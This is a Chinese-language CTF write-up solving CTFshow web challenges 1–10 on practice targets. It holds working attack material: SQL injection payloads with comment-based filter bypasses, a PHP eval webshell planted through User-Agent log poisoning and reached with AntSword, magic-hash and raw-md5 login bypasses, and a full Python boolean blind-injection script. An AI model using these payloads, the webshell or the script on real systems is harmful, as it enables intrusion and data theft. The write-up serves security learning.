CTFshow超详细解题攻略(1-10)

发布时间:2026/6/28 4:09:47
CTFshow超详细解题攻略(1-10) 本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行任何未经授权使用文中技术的行为均与作者无关请务必遵守法律法规获得许可后方可进行渗透测试。目录签到题web2web3web4web5web6web7web8web9web10签到题题目信息点开靶场f12查看源代码可看到一串编码base64解一下得到flagweb2题目信息第一步验证万能密码与注入点首先在登录框的用户名处测试经典万能密码a or true #密码随意输入。成功登录后页面将查询到的当前用户名回显出来证明此处存在明显的 SQL 注入漏洞且有数据输出位。第二步探测回显列数既然页面有明确的数据回显位接下来就可以使用联合查询UNION SELECT进行脱库操作。 在用户名处输入以下 Payload 测试字段数量a union select 1,2,3 #密码依旧随意。页面成功回显了数字2说明当前 SQL 查询结果为3 个字段且第2个字段是有效的回显点。第三步获取当前数据库名确定回显位在2后我们利用它来获取当前连接的数据库名称通常 Flag 就存放在当前数据库中a union select 1,database(),3 #执行后页面回显了数据库名假设得到的结果为web2。第四步从系统表脱库获取表名拿到数据库名web2后下一步是获取该库下的所有表名。我们可以利用group_concat将多行表名拼接成一行方便回显a union select 1,(select group_concat(table_name) from information_schema.tables where table_schemaweb2),3 #页面会回显该数据库下的所有表名从中可以锁定目标表flag。第五步获取flag表的字段名确定flag表存在后我们查询该表的具体字段结构为最终提取数据做准备a union select 1,(select group_concat(column_name) from information_schema.columns where table_schemaweb2 and table_nameflag),3 #假设页面回显列名为flag或类似f14g变种。第六步提取 Flag 数据拿到对应字段名后直接构造 Payload 读取最终数据a union select 1,(select flag from flag),3 #提交该 Payload页面会在第 2 个回显位直接输出完整的flag{...}成功通关web3题目信息一、漏洞发现绕过前端进行任意文件读取打开靶场后习惯性地按F12打开开发者工具查看网络请求。观察 Network 面板可以发现后端服务器运行的是Nginx。核心知识点什么是 Nginx 日志如果把 Nginx 比作餐厅里效率极高的服务员那么日志文件就相当于服务员的工作日记access.log访问日志记录每位顾客客户端点了什么请求什么资源什么时候来的这位服务员处理得怎么样。这是信息量最大、在 CTF 中最常用的日志。error.log错误日志记录服务员在操作过程中的磕磕碰碰比如找不到某个菜品404 错误、后厨罢工了服务启动失败等。任意文件读取探测在地址栏后添加 Payload?url/var/log/nginx/access.log回车后发现原本的 Web 页面直接返回了大量 Nginx 访问日志的明文数据。这说明服务器端没有对文件访问路径进行严格过滤存在典型的任意文件读取漏洞。二、漏洞利用利用 Burp Suite 在日志中植入木马既然可以读取日志我们可以尝试将一段一句话木马写入access.log中。 常用的日志注入点就是User-Agent用户代理请求头。操作步骤打开 Burp Suite开启拦截Proxy - Intercept is on。在浏览器中开启代理并刷新靶机页面。Burp 成功抓取到请求包后右键选择Send to Repeater。在 Repeater 的请求面板中找到User-Agent字段将其内容替换为 PHP 一句话木马?php eval($_POST[hacker]); ?点击Send发送请求。如果右侧 Response 面板中返回了正常的 HTTP 响应说明木马已经成功写入到 Nginx 的access.log中。虽然日志文件混杂了大量其他文本但通过文件包含漏洞加载该日志时PHP 解析器依然会识别并执行其中的 PHP 代码。三、远程连接蚁剑AntSword获取 Flag木马成功植入后就可以利用蚁剑进行远程连接打开蚁剑在空白处右键选择“添加数据”。URL 地址填入靶机的完整地址例如http://靶机IP/?url/var/log/nginx/access.log。连接密码填入我们设定的hacker。点击“测试连接”如果右下角提示“连接成功”保存配置并双击进入。进入远程服务器后直接浏览目录文件通常在/var/www/html或根目录下找到名为ctf go go go或flag的文件打开即可看到最终的flag{...}。web4题目信息一、漏洞发现与初步尝试打开靶场后页面直接显示了一部分源码其中提示了include()函数通过 GET 参数url包含文件这明确指向了文件包含漏洞。第一步我们尝试利用php://input伪协议执行 PHP 代码查看当前目录文件?urlphp://input并在 POST 请求体中加入 PHP 命令然而服务器返回了error说明执行失败通常是因为allow_url_include被禁用或后端做了拦截。二、提示转向日志注入既然php://input被阻断结合题目提示我们确认漏洞的真正突破点在于日志注入。漏洞成因与原理日志包含漏洞通常是因为服务器未对文件读取路径进行严格过滤同时又开启了日志记录功能。中间件如 Nginx、Apache会将每次访问的请求信息包括 HTTP 请求行、User-Agent、Referer 等客户端信息记录到日志文件中。如果我们直接在请求头中植入恶意代码如 PHP 一句话木马这段代码会被原封不动地写入日志文件。此时再利用文件包含漏洞去读取该日志文件服务器解析时就会触发并执行日志里的恶意代码从而获得 Webshell。常见中间件日志存放路径Apache/var/log/apache/access.logNginx/var/log/nginx/access.log访问日志和/var/log/nginx/error.log错误日志默认记录 error 级别及以上的信息三、攻击步骤植入木马与获取 Shell确认当前中间件为 Nginx 后我们利用 Burp Suite 进行抓包与日志注入抓包与构造请求使用 Burp Suite 拦截访问靶机的 GET 请求并将请求发送到 Repeater 模块。利用 User-Agent 植入木马在请求头中找到User-Agent字段将其替换为 PHP 一句话木马?php eval($_POST[cmd]); ?发送该请求确保服务器正常响应此时木马已成功写入 Nginx 的access.log中。蚁剑连接服务器打开中国蚁剑AntSword右键添加数据URL 地址http://靶机IP/?url/var/log/nginx/access.log连接密码hacker测试连接成功双击进入目标服务器浏览目录即可找到 Flag 文件成功拿下。web5题目信息一、代码审计与限制条件打开靶场获得一段 PHP 源码核心逻辑如下if (isset($_GET[v1]) isset($_GET[v2])) { $v1 $_GET[v1]; $v2 $_GET[v2]; if (!ctype_alpha($v1)) { die(v1 error); } if (!is_numeric($v2)) { die(v2 error); } if (md5($v1) md5($v2)) { echo $flag; } else { echo wrong!; } } else { echo where is flag?; }限制条件梳理通过 GET 方式传入v1和v2两个参数。v1必须全部由字母组成ctype_alpha校验。v2必须由纯数字组成is_numeric校验。最终突破点md5($v1) md5($v2)必须成立。二、核心漏洞原理PHP 松散比较的 0e 陷阱代码中比较 MD5 值时使用的是双等号松散比较而非全等号。在 PHP 中当两个字符串进行比较时如果字符串以0e开头且后面全部是数字PHP 会将其自动视为科学计数法。数学原理0e12345等同于0 × 10¹²³⁴⁵结果即为0。 因此如果两个不同的字符串经过 MD5 加密后哈希值都以0e开头且后接纯数字那么在使用比较时它们都会被视作0从而0 0结果为 True成功绕过限制。经典的黄金组合出题人常用QNKCDZO的 MD5 哈希值为0e830400451993494058024219903391240610708的 MD5 哈希值为0e462097431906509019562988736854由于QNKCDZO全是字母240610708纯数字这两个参数恰好能完美通过ctype_alpha和is_numeric的层层限制。三、最终 Payload 构造与提交将上述两个经典字符串分别作为v1和v2的值通过 GET 请求提交http://靶机域名/?v1QNKCDZOv2240610708发送请求后后端验证逻辑顺利走到最后一步判断通过页面即可直接返回最终的flag{...}。web6题目信息一、发现注入点与绕过空格过滤进入靶场后在登录页面的用户名输入框进行测试猜测此处存在 SQL 注入漏洞。初步测试 Payload1 or 11 #提交后页面直接报错。结合经验判断可能是后端防火墙WAF或过滤规则拦截了空格字符。此时我们可以采用/\**/多行注释来代替空格进行绕过。绕过后的 Payload1/**/or/**/11/**/页面正常响应说明注入点存在且成功绕过了空格拦截。二、探测回显列数为了进一步利用联合查询UNION SELECT进行脱库必须先判断当前查询结果的字段数量。注入 Payload1/**/or/**/11/**/union/**/select/**/1,2,3#页面成功回显了数字2说明当前查询共有3个字段且第 2 列是可用的回显位置。三、获取当前数据库名利用第 2 个回显位调用database()函数获取当前连接的数据库名称。注入 Payload1/**/or/**/11/**/union/**/select/**/1,database(),3#页面回显了当前数据库名为web2。四、获取web2库下的所有表名利用系统表information_schema.tables来查询web2库下的所有表名并通过group_concat()函数将结果拼接成一行以便回显。注入 Payload0/**/or/**/11/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schemaweb2#页面回显了该库下的表发现有一个关键表名flag。五、获取flag表的字段名确定目标表为flag后利用information_schema.columns查询该表的所有列名。注入 Payload0/**/or/**/11/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_nameflag#页面回显了列名flag。六、最终获取 Flag 数据拿到了数据库、表名和列名直接构造 Payload 读取flag表中的具体数据。注入 Payload0/**/or/**/11/**/union/**/select/**/1,flag,3/**/from/**/flag#页面成功将flag{...}显示在页面上拿下靶场web7题目信息第一步发现注入点与空格绕过打开靶场点击第一篇文章发现 URL 中含有参数id1初步怀疑存在 SQL 注入漏洞。尝试构造经典 Payloadid1 and 11#页面报错说明后端可能存在 WAF 或黑名单机制。结合经验尝试使用/\**/多行注释代替空格进行绕过id1/**/and/**/11#页面正常显示继续测试id1/**/and/**/12#页面显示异常与正常页面不同由此确定此处存在数字型 SQL 注入且过滤规则成功被/**/绕过。第二步联合查询探测回显位注入点确认后使用UNION SELECT进行联合查询。由于id通常为正数我们将id设为负数如-1让原查询结果为空从而直接展示联合查询的结果方便定位回显位。探测 Payloadid-1/**/union/**/select/**/1,2,3#提交后页面将数字2回显出来说明当前共有3个字段且第2个字段即为可利用的回显位。第三步获取当前数据库名利用第 2 个回显位调用database()函数获取当前连接数据库的名称id-1/**/union/**/select/**/1,database(),3#页面回显当前数据库名为web7。第四步获取数据库web7中的所有表名获得库名后通过information_schema.tables系统表查询该库下的所有表名并使用group_concat()将多行结果拼接成一行输出id-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schemaweb7),3#页面回显的表名中包含了一个目标表flag。第五步获取flag表中的所有列名锁定flag表后继续查询information_schema.columns获取它的字段结构id-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schemaweb7/**/and/**/table_nameflag),3#页面回显列名flag。第六步直接读取 Flag 数据万事俱备直接读取flag表中的flag字段内容id-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#提交后页面成功回显出flag{...}靶场通关web8题目信息一、题目背景与过滤分析进入靶场后发现页面与web7结构完全相同注入点同样在id参数。但不同的是这道题过滤规则更加严格空格被拦截引号和被拦截union、and、or等关键词被拦截面对如此严格的 WAF传统的联合查询注入和自动化工具如默认配置的 SQLMap会非常难以施展因此我们需要手工编写 Python 脚本来进行布尔盲注。二、核心绕过技巧与脚本设计思路1. 绕过空格使用/\**/注释符由于前后端检测并过滤了空格我们在 SQL 语句中所有需要空格的地方统一替换为/**/。2. 绕过引号使用十六进制编码当需要查询特定字符串如table_schemaweb8或table_nameflag时直接使用单引号会被拦截。我们可以将字符串转为十六进制来表示例如flag转换为0x666C6167web8转换为0x77656238在盲注脚本中直接传入十六进制数据即可避开引号检测。3. 布尔盲注核心原理由于页面无法直接回显数据我们只能通过判断 HTTP 响应是否包含特定特征字符本题脚本中使用的是If特征来推测结果。即如果 SQL 语句中的条件成立页面会返回包含If的响应条件不成立则不包含If。三、自定义 SQL 注入脚本详解利用 Python 编写布尔盲注脚本其主要逻辑是逐位截取返回结果的字符将其转换为 ASCII 码并与字典31~128 的 ASCII 范围进行碰撞。如果页面响应包含特定的真特征则说明当前猜测的字符正确继续向下探测。完整注入脚本代码示例import requests # 输入目标URL url input(输入目标URL: ).strip() if not url.endswith(/): url / if id not in url: url index.php?id-1/**/or/**/ # 选择注入类型 while True: print(\n选择注入类型:) print(1. 当前数据库) print(2. 所有表名) print(3. flag表字段) print(4. 所有列名) print(5. flag数据) print(6. 退出) choice input(请选择 (1-6): ).strip() # 如果选择6退出程序 if choice 6: print(退出程序) exit() # 根据选择设置payload模板 payloads { 1: ascii(substr(database()from/**/%d/**/for/**/1))%d, 2: ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schemadatabase())from/**/%d/**/for/**/1))%d, 3: ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name0x666C6167)from/**/%d/**/for/**/1))%d, 4: ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schemadatabase())from/**/%d/**/for/**/1))%d, 5: ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))%d } if choice not in payloads: print(无效选择请重新选择) continue payload_template payloads[choice] # 输入最大长度 max_length_input input(最大长度(默认100): ).strip() max_length int(max_length_input) if max_length_input else 100 name # 循环获取字符 for i in range(1, max_length 1): count 0 # 计算并显示百分比进度 progress int((i - 1) / max_length * 100) print(f\r进度: {progress}%, end, flushTrue) # 截取SQL查询结果的每个字符, 并判断字符内容 found False for j in range(31, 128): result requests.get(url payload_template % (i, j)) if If in result.text: name chr(j) found True break # 如果某个字符不存在,则停止当前注入 count 1 if count (128 - 31): break # 如果没找到字符说明已经获取完所有内容 if not found: break # 显示100%进度并输出完整内容 print(f\r进度: 100%, end, flushTrue) print(f\n\n获取完成) print(f数据库名/表名/字段名/数据: {name})四、预期运行结果Flag 获取根据选项输入对应的数字脚本会进入自动盲注流程。经过一段时间的逐字枚举后控制台会打印出完整的数据库结构或数据。例如选择5获取 flag 数据运行完毕后脚本会输出如下内容web9题目信息第一步敏感文件探测与源码泄露使用目录扫描工具对靶场进行探测发现存在robots.txt文件。 查看robots.txt内容其中泄露了一个备份文件的路径。下载该备份文件成功获取到后端登录逻辑的 PHP 源码。第二步代码审计与漏洞点定位核心源码如下?php $flag; $password$_POST[password]; if(strlen($password)10){ die(password error); } $sqlselect * from user where username admin and password .md5($password,true).; $resultmysqli_query($con,$sql); if(mysqli_num_rows($result)0){ while($rowmysqli_fetch_assoc($result)){ echo 登陆成功br; echo $flag; } } ?审计发现的关键点密码长度限制strlen($password) 10直接报错限制了我们使用极长的 Payload。核心注入点SQL 语句在拼接时调用了md5($password, true)。验证机制只要mysqli_num_rows($result) 0就会输出$flag。第三步漏洞原理解析md5($password, true)注入这道题的核心考点在于理解 PHP 中md5()函数的第二个参数默认情况无参数或falsemd5($password)输出 32 位十六进制字符串例如e10adc3949ba59abbe56e057f20f883e。危险情况传入truemd5($password, true)会输出16 字节的原始二进制数据Raw Binary。当这个原始二进制数据被直接拼接到 SQL 语句中时如果二进制数据里恰好包含了单引号、or等特殊字符就会打破原有的 SQL 语法结构从而产生SQL 注入。第四步构造 Payload 通关经过安全研究人员长期的测试找到了一些特殊的字符串它们的 MD5 原始二进制数据正好能组成一段有效的 SQL 注入语句例如 or ...。最常用的注入 Payload 是ffifdyop。md5(ffifdyop, true)生成的原始二进制转为可读字符大约是 or 6]!r,b。拼接后最终的 SQL 语句变为... where username admin and password or 6...。核心逻辑password 为假但紧随其后的or 6...在布尔判断中会被 MySQL 视为真True从而绕过登录限制使mysqli_num_rows($result) 0成立最终输出 Flag。通关 Payload在靶场登录页面的密码框中直接输入ffifdyop点击登录即可成功绕过身份验证页面会直接回显flag{...}。web10题目信息这是一道考法非常经典的 SQL 注入题主要难点在于严格的过滤机制与利用GROUP BY的独特特性进行绕过。1. 源码分析与限制条件访问靶场通过点击“取消”按钮下载到后端源码。核心逻辑如下已做关键提炼function replaceSpecialChar($str) { // 过滤常见的 SQL 关键字和空格 return preg_replace(/select|from|where|join|sleep|and|\s|union/i, , $str); } ​ if (strlen($password) ! strlen(replaceSpecialChar($password))) { die(sql inject error); // 检测到注入直接拦截 } ​ $sql SELECT * FROM user WHERE username $username AND password $password;关键的防御逻辑在于黑名单过滤replaceSpecialChar函数会删除输入字符串中的select,from,and,union等关键字并过滤掉了所有空格\s。双写拦截if(strlen(...))检测输入和过滤后字符串长度是否一致不一致则说明其中包含“脏字”直接die()。这有效防止了union这类双写绕过攻击如ununionion。2. 寻找绕过路径与核心利用点由于union、and等常规注入手段被完全封锁我们需要转换思路。观察过滤规则group by和with rollup并未被列入黑名单。关键原理WITH ROLLUP的特性在GROUP BY语句后附加WITH ROLLUP会对分组结果进行汇总统计。当数据库在进行汇总计算时会生成一行额外的数据这行数据的聚合列这里也就是password的值通常为NULL。3. 构造最终 Payload我们的目标是通过 SQL 注入伪造出一个密码为NULL的用户从而绕过密码校验。由于空格被过滤我们需要使用/**/注释符来代替空格。构造的 Payload 为admin/**/or/**/11/**/group/**/by/**/password/**/with/**/rollup/**/#这里利用了username admin or 11来确保查询能覆盖到目标用户并通过GROUP BY password WITH ROLLUP强制数据库在结果集中额外生成一行password NULL的数据。登录验证在提交时我们将密码栏留空。 后端接收到空密码会进行如下校验$password为空字符串。由于 MySQL 执行了WITH ROLLUP查询结果中多出了一行password为NULL的记录。在 PHP 中进行if ($password $row[password])比较时如果参与比较的一方是NULLPHP 会将空字符串转化为NULL从而使得NULL NULL成立。mysqli_num_rows($result) 0且密码验证成功最终直接弹出 Flag。